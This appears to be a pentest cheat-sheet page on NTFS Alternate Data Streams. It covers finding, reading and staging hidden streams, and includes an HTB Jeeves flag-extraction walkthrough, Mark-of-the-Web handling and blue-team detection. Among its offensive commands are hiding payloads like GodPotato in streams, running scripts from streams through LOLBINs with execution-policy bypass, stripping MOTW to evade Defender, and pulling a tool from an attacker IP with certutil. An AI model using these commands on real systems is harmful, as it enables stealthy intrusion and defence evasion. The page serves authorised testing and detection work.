FLOW^:Pentest Workflow

NTFS Alternate Data Streams — Hiding & Finding Hidden Data

Windows NTFS Alternate Data Streams (ADS): what they are, reading and writing them, finding streams other users hid (dir /r, Get-Item -Stream, streams.exe), Mark-of-the-Web, and a worked HTB example of digging a flag out of a stream.

intermediateupdated 2026-09-25streams.exe · streams64.exe · wmic · forfiles

← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide

NTFS Alternate Data Streams — Hiding & Finding Hidden Data

[!dashboard] What this is NTFS Alternate Data Streams (ADS) let a file carry extra content that a normal directory listing never shows. On offense, that’s a place to stage a payload off a directory listing and strip Mark-of-the-Web before you run it — a trick usually paired with the Potato Attacks guide once you’ve got a privileged shell. On the other side of the same coin, it’s where CTF flags, credentials, and second-stage tooling get hidden, and where a downloaded file’s origin gets recorded — so knowing how to find a stream matters as much as knowing how to hide one. They’re a legitimate NTFS feature, quietly used (and abused) for both since Windows NT.

What an ADS actually is

On NTFS, every file has at least one data stream — the default (unnamed) stream that holds the content you normally see. NTFS lets you attach additional named streams to the same file. The main file keeps its name and its reported size; the extra streams ride along invisibly.

Syntax: filename:streamname:streamtype

Common stream types:

TypePurpose
$DATAActual data content — by far the most common, and what you’ll use
$INDEX_ALLOCATIONDirectory indexes (attaching this to a name creates a directory-like object)
othersAssorted NTFS metadata streams

Why it matters to both sides of the keyboard:

  • Invisible to normal listings. Plain dir and Explorer don’t show streams — you need dir /r or PowerShell’s -Stream.
  • They don’t change the file’s reported size. The host file still shows its original size; the stream’s bytes aren’t counted.
  • They travel with the file on NTFS, and are silently stripped when the file crosses to FAT32/exFAT, most network shares, email, or an HTTP upload. Handy for evasion; a trap if you rely on a stream surviving a copy.
  • No special permission needed. If you can write the file, you can add a stream to it. Reading one someone else hid just needs read access to the host file, same as normal.

Finding & enumerating streams fas:MagnifyingGlass

This is the question that actually comes up on an engagement or a box: does this file — or this whole directory tree — have anything hidden on it? Plain dir and Explorer will never tell you. Four ways to ask, from the always-available one-liner up to a full-drive sweep.

dir /r — one directory, no tooling required

:: cmd — /r reveals streams next to each file (look for the "file:stream:$DATA" lines)
dir /r C:\Users\Administrator\Desktop

A tell-tale stream line looks like this — a file whose visible content is tiny, carrying a named $DATA stream beside it:

                36 hm.txt
                34 hm.txt:root.txt:$DATA

That second line is the whole discovery: hm.txt has a named stream called root.txt. Nothing about the plain 36 hm.txt line hints at it.

dir /s /r — the same thing, recursively

Add /s to walk every subdirectory instead of checking one folder at a time — the reflex to use once you land somewhere and want to sweep the whole profile or drive in one shot:

:: Every file, every subfolder, streams and all — a whole profile in one command
dir /s /r C:\Users\Administrator

:: Narrow the noise: only the indented stream lines out of the full listing
dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$"

dir /r only lists named streams (the file’s own content is the unnamed ::$DATA default stream and is not printed as a separate line), so the single findstr above — regex mode, \$ escaping the literal $ and the trailing $ anchoring end-of-line — keeps just the file:streamname:$DATA lines and drops the ordinary directory chatter. No second filter is needed.

[!warning]+ dir /s /r is loud and can be slow on a big tree fas:TriangleExclamation Recursing an entire user profile or C:\ is fine on a CTF box; on a real engagement it’s a lot of filesystem I/O and (without the findstr filter above) a wall of output that buries the one line you care about. Scope it to the directories that matter — profile roots, web roots, Temp — rather than reflexively pointing it at C:\.

PowerShell — cleanest output, easiest to filter

# One file
Get-Item C:\Windows\Temp\notes.txt -Stream *

# A whole tree, filtered to only files that actually carry an extra stream —
# prints exactly the file + stream name, nothing else
Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
  Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue
} | Where-Object Stream -ne ':$DATA' | Select-Object FileName, Stream, Length

The Select-Object at the end is the difference between a readable table (FileName, Stream, Length) and a wall of default property dumps — worth keeping when you’re sweeping anything bigger than a single directory.

# Shorthand of the same sweep with the standard aliases (gci/%/?) — quick to type at a prompt
gci C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  % { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } |
  ? Stream -ne ':$DATA' | Select FileName, Stream, Length

-File keeps Get-Item -Stream * off directories (which can carry streams of their own and throw on the pipe); the fuller form above is the one to script, this is the one to fire from muscle memory.

Sysinternals streams.exe — purpose-built, no scripting needed

:: Recursive sweep, quiet banner
streams.exe -nobanner -s C:\Users

:: A single file
streams.exe -nobanner C:\Windows\Temp\notes.txt

streams64.exe is the same tool for 64-bit targets if the plain binary won’t run. Not bundled here — grab it from Microsoft’s Sysinternals downloads (or land it via SMB/certutil per the Potato Attacks guide’s delivery section — the same transport tricks apply to any tool, not just potatoes).

Which one to reach for

MethodRecursive?NeedsBest for
dir /rNo (one directory)Nothing — always availableQuick check on a directory you’re already looking at
dir /s /r (+ findstr filter)YesNothing — always availableSweeping a whole profile/tree from cmd with no extra tooling, non-interactive shells
PowerShell Get-Item/Get-ChildItem -StreamOptional (both shown above)PowerShellCleanest, filterable, scriptable output — the one to reach for when you’re already in a PS session
streams.exe / streams64.exeYes (-s)The binary itself (not built in)Purpose-built recursive sweep when you’d rather not write a PowerShell one-liner, or from cmd on a box you don’t want to touch with PowerShell

[!tip]+ In a non-interactive shell (a potato firing one command and exiting) fas:Lightbulb All four work the same way as anything else non-interactive: redirect to a file you can read back. dir /s /r C:\Users\Administrator > ads.txt 2>&1 then type ads.txt — exactly the pattern used throughout the Potato Attacks guide’s field method.


Reading a stream

Once you know the stream’s name (from dir /r or -Stream *), read it:

:: cmd — the classic
more < "C:\Windows\Temp\notes.txt:hidden:$DATA"
# PowerShell — cleanest
Get-Content C:\Windows\Temp\notes.txt -Stream hidden

# notepad opens a named stream directly
notepad C:\Windows\Temp\notes.txt:hidden

[!warning]+ more < needs the redirect — a direct path won’t work fas:TriangleExclamation more C:\path\file.txt:stream (no <) fails; type file.txt:stream also fails on most builds. The reliable cmd form is more < "path:stream", using input redirection rather than passing the ADS path as a normal argument.

more < handles cmd; for a binary payload staged in a stream, PowerShell reads the bytes back out — but the byte switch was renamed between versions, so pin the right one:

# Windows PowerShell 5.1 (default on most targets) — byte-exact extract
Get-Content C:\Windows\Temp\log.txt -Stream g.exe -Encoding Byte -Raw |
  Set-Content C:\Windows\Temp\g.exe -Encoding Byte

# PowerShell 7+ renamed the switch to -AsByteStream (-Encoding Byte errors there)
Get-Content C:\Windows\Temp\log.txt -Stream g.exe -AsByteStream -Raw |
  Set-Content C:\Windows\Temp\g.exe -AsByteStream

Check $PSVersionTable.PSVersion first — mixing the two switches is the usual reason a binary extract comes out empty or mangled. For text, plain Get-Content -Stream <name> (already shown above) is enough.


Finding hidden data — a worked example

The scenario above (hm.txt with a root.txt:$DATA stream) is a real one, from HTB Jeeves, and it’s the exact shape almost every “hidden flag” or “hidden credential” ADS challenge takes: a small, boring-looking file sitting next to something that matters. Walking through it end to end:

1. You get a shell in a context that can see the file — here, NT AUTHORITY\SYSTEM, reached via the potato chain worked through in the Potato Attacks guide’s field method. If you’re already Administrator/SYSTEM (or it’s just your own file), skip straight to step 2.

2. Sweep for streams instead of trusting a plain dir:

dir /r C:\Users\Administrator\Desktop
 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                     34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes

The hm.txt:root.txt:$DATA line is the tell — a 34-byte stream named root.txt riding on a 36-byte host file that gives no other hint it’s there.

3. Read the stream directly:

more < hm.txt:root.txt

That’s the whole technique — no potato, no privilege escalation needed for this step; the only privilege that mattered was whatever let you read hm.txt in the first place (here, being SYSTEM to reach another user’s Desktop).

4. From a non-interactive shell (a potato firing one command and exiting, a web shell, anything without a live prompt), redirect both the listing and the read to files you can pull back:

:: find it
... "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1"
type C:\Users\kohsuke\ads.txt

:: read it
... "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1"
type C:\Users\kohsuke\flag.txt

[!success]+ The pattern, generalised fas:Lightbulb

  1. dir /r (or the PowerShell/streams.exe sweep) on every directory you land in that you haven’t checked — Desktop, Documents, profile roots, web roots. A tiny file next to something sensitive-sounding is the classic tell.
  2. more < file:stream reads it once you have the stream name. No stream name shown by dir /r? You don’t have one — move on.
  3. No live shell? Redirect the command’s own output to a file (> out.txt 2>&1) and type/pull it back, exactly like any other non-interactive command.

Writing / staging into a stream

The reverse of the above — this is how those hidden files get created in the first place, and how you’d stage your own payload the same way.

:: Hide text
echo secret-loot-here > "C:\Windows\Temp\notes.txt:stash"

:: Stash a binary inside an innocuous host file (NTFS→NTFS copy)
type C:\Tools\GodPotato-NET4.exe > "C:\Windows\Temp\log.txt:g.exe"
# PowerShell staging
Set-Content -Path C:\Windows\Temp\notes.txt -Stream stash -Value 'secret-loot-here'

[!warning]+ Running an EXE straight from a stream is mostly dead on modern Windows fas:TriangleExclamation Older Windows let you launch a process whose image was an ADS. Current builds block that — start file.txt:g.exe / Start-Process against a stream fails. So use ADS for staging and hiding, then copy the payload back out to a normal file to execute it:

type C:\Tools\GodPotato-NET4.exe > C:\Windows\Temp\log.txt:g.exe   :: hide
more < C:\Windows\Temp\log.txt:g.exe > C:\Windows\Temp\g.exe        :: extract to run
C:\Windows\Temp\g.exe -cmd "cmd /c whoami"

Script and DLL loaders (powershell, wscript/cscript, rundll32, regsvr32) can still be fed from a stream via LOLBINs, but the reliable, portable pattern is stage-in-stream → extract → run. See the Potato Attacks guide for what to do once you’re running as SYSTEM.

Executing from a stream — legacy vectors

The reliable path is still stage-in-stream → extract → run (shown in the warning above). The commands below are the older launch vectors people reach for — worth recognising, mostly hardened out now:

:: Stage a binary into a stream on a bait file first
type C:\Tools\evil.exe > "C:\Temp\bait.txt:evil.exe"

:: --- Legacy image-launch vectors: historically ran the ADS as a process. ---
:: --- Blocked by modern CreateProcess hardening; kept here for recognition. ---
wmic process call create "C:\Temp\bait.txt:evil.exe"          :: wmic is also deprecated/removed on recent Win11
forfiles /p C:\Temp /m bait.txt /c "cmd /c @path:evil.exe"     :: historically cited; @path quoting makes it finicky — and CreateProcess blocks it anyway

[!warning]+ These launch an image from a stream — the thing modern Windows kills fas:TriangleExclamation wmic process call create and forfiles both ultimately hit CreateProcess against the ADS image, which current builds refuse — the same block described above for start/Start-Process. On top of that wmic is deprecated and no longer present on recent Windows 11. Treat both as legacy/CTF-era; on a modern target fall back to the extract-then-run pattern. What still works is feeding a content loader that opens the stream and runs what it reads (the image is never executed directly):

:: PowerShell reads the script text out of the stream and runs it — reliable
powershell -ep bypass -c "IEX (Get-Content C:\Temp\bait.txt -Stream payload -Raw)"
:: WSH / DLL script loaders fed from a stream (LOLBIN, version- and AV-dependent)
wscript //e:vbscript C:\Temp\bait.txt:payload.vbs
rundll32 C:\Temp\bait.txt:payload.dll,EntryPoint

These survive the image-exec block because the interpreter/loader opens the file itself; they are still noisy and increasingly signatured. See the Potato Attacks guide for what to run once you’re SYSTEM.


Mark-of-the-Web — the ADS you meet every engagement

Every file a browser or Invoke-WebRequest downloads gets a Zone.Identifier stream (Mark-of-the-Web). It’s what makes SmartScreen and Defender treat a file as “from the internet.” Reading it is a forensics staple; stripping it is an evasion staple.

# See where a downloaded file came from (blue-team / OSINT gold — often has the source URL)
Get-Content .\PrintSpoofer64.exe -Stream Zone.Identifier

# Strip MOTW so SmartScreen/Defender stop nagging (two equivalent ways)
Remove-Item .\PrintSpoofer64.exe -Stream Zone.Identifier
Unblock-File .\PrintSpoofer64.exe
:: The stealthiest way to drop MOTW is to never create it: pull the tool with a
:: transport that doesn't write Zone.Identifier (SMB copy, certutil), not a browser.
certutil -urlcache -f http://10.10.14.3/PrintSpoofer64.exe C:\Windows\Temp\ps.exe

Zone.Identifier is a plain-text INI stream. Find and read it exactly like any other ADS:

:: dir /r shows the MOTW stream by name on a downloaded file
dir /r .\PrintSpoofer64.exe
:: ... :Zone.Identifier:$DATA appears beside it

:: Read it from cmd (input redirect, same rule as any stream)
more < "PrintSpoofer64.exe:Zone.Identifier"

Typical contents — ZoneId is what SmartScreen/Defender act on; ReferrerUrl/HostUrl are recorded by many downloaders and are the blue-team/OSINT prize:

[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://example.com/downloads/
HostUrl=https://cdn.example.com/PrintSpoofer64.exe
ZoneIdZoneTreated as
0Local machineTrusted
1Local intranetMostly trusted
2Trusted sitesTrusted
3InternetMarked / restricted — SmartScreen + Defender kick in
4Restricted sitesMost restricted

Anything ZoneId=3 or 4 is “from the internet” and carries the mark. Bulk operations:

# Check presence without dumping content
Get-Item .\PrintSpoofer64.exe -Stream Zone.Identifier -ErrorAction SilentlyContinue

# Strip MOTW from an entire dropped toolkit at once
Get-ChildItem .\loot -Recurse -File | Unblock-File

# (Testing SmartScreen/Defender behaviour) put a mark back on a file
Set-Content -Path .\test.exe -Stream Zone.Identifier -Value "[ZoneTransfer]`r`nZoneId=3"

Removing a stream

# Delete just one stream, keep the file
Remove-Item C:\Windows\Temp\notes.txt -Stream stash
:: cmd has no native single-stream delete — round-trip through a non-NTFS
:: filesystem (copy off to FAT/exFAT and back) strips every stream at once.

Sysinternals streams.exe is the cmd-side answer — it deletes streams in place:

:: Delete every stream from one file, keep the file (Sysinternals streams.exe)
streams.exe -nobanner -d C:\Windows\Temp\notes.txt

:: Recursively strip streams from a whole tree — cleanup / defensive scrub
streams.exe -nobanner -s -d C:\Users\Public

-d deletes; add -s to recurse. Unlike Remove-Item -Stream <name>, streams -d removes all named streams on the target(s) — precise for cleanup, blunt if you only meant to drop one.


Detection, OPSEC & cleanup fas:Shield

[!danger] Authorised testing only fas:TriangleExclamation Reading another user’s files (even via a stream) and hiding artefacts on a real host both need explicit authorisation. Track every stream you create, with full paths, and remove it at cleanup.

What the blue team sees:

SignalWhere
New $DATA streams appearing on filesSysmon Event 15 (FileCreateStreamHash)
A downloaded tool’s Zone.Identifier still naming your web serverADS on the artefact itself
Unusual dir /r / Get-Item -Stream * / streams.exe invocations in command-line loggingSysmon Event 1, PowerShell script-block logging

OPSEC notes:

  • ADS defeats a plain dir and a size check, not a defender who runs dir /r / streams.exe — treat it as reduces casual visibility, not invisible.
  • Sysmon Event 15 logs stream creation by hash on a well-instrumented estate; don’t assume staging in a stream is silent there.

Hunting for hidden streams (blue team / IR):

# Host sweep for every NAMED stream, skipping the default ::$DATA and benign MOTW
Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue |
  ForEach-Object { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } |
  Where-Object { $_.Stream -ne ':$DATA' -and $_.Stream -ne 'Zone.Identifier' } |
  Select-Object FileName, Stream, Length
:: Same idea with Sysinternals — streams takes ONE path per call, so loop for several
for %d in (C:\Users C:\ProgramData C:\Windows\Temp) do streams.exe -nobanner -s %d

[!tip]+ What Event 15 does and doesn’t catch fas:Lightbulb Sysmon Event 15 (FileCreateStreamHash) fires on stream creation and hashes the new stream — but only for paths/extensions the config actually scopes in, and it says nothing about a stream being read. So staging into a stream can be logged; digging a flag out of one usually isn’t, at the file-event layer. The enumeration and read still surface in command-line logging (Sysmon Event 1) and PowerShell script-block logging — that’s where dir /r, Get-Item -Stream *, streams.exe, and Get-Content -Stream show up. Pair Event 15 with those two for real coverage.

Cleanup checklist:

Remove-Item C:\Windows\Temp\log.txt -Stream g.exe -ErrorAction SilentlyContinue   # the ADS
Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinue

Troubleshooting fas:Wrench

ProblemCause & fix
dir /r shows no streams on a file you wrote one todir /r only lists streams in the current directory view; confirm you are in the right path, and note Explorer never shows them at all
Get-Item -Stream * errors on a path with bracketsPowerShell treats [ ] as wildcards. Use -LiteralPath instead of -Path
Cannot read a stream you know existsThe stream name is case-sensitive-ish and must be exact, including :$DATA. Enumerate first with Get-Item -Stream *, then copy the name verbatim
Data written to a stream vanishes on copyADS only survive on NTFS. Copying to FAT/exFAT, most USB sticks, a ZIP, or across SMB to a non-NTFS share silently drops the stream
type file.txt:hidden.exe fails to run ittype cannot execute; you must extract or invoke it properly (wmic process call create, Start-Process, or makecab/extrac32 round-trip on older hosts)
Downloaded file “blocked” and scripts refuse to runThat is the Zone.Identifier MotW stream. Unblock-File, or delete the stream: Remove-Item file -Stream Zone.Identifier
Defender flags the file the moment you stage into a streamAMSI/Defender inspects stream writes too (Sysmon Event 15 logs them). ADS is not an evasion primitive on a monitored host — treat it as storage, not stealth

References fas:BookOpen

TopicSource
NTFS ADS / Mark-of-the-WebMITRE ATT&CK T1564.004 · Sysinternals streams
Executing from ADS (LOLBIN loaders)LOLBAS project · MITRE T1218
Mark-of-the-Web / Zone.IdentifierMicrosoft — About URL security zones · Unblock-File
Detecting ADS (Sysmon Event 15)Sysmon FileCreateStreamHash

← Windows PrivEsc cheat sheet · Workflow dashboard · Windows PrivEsc master guide · ← Potato Attacks guide

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.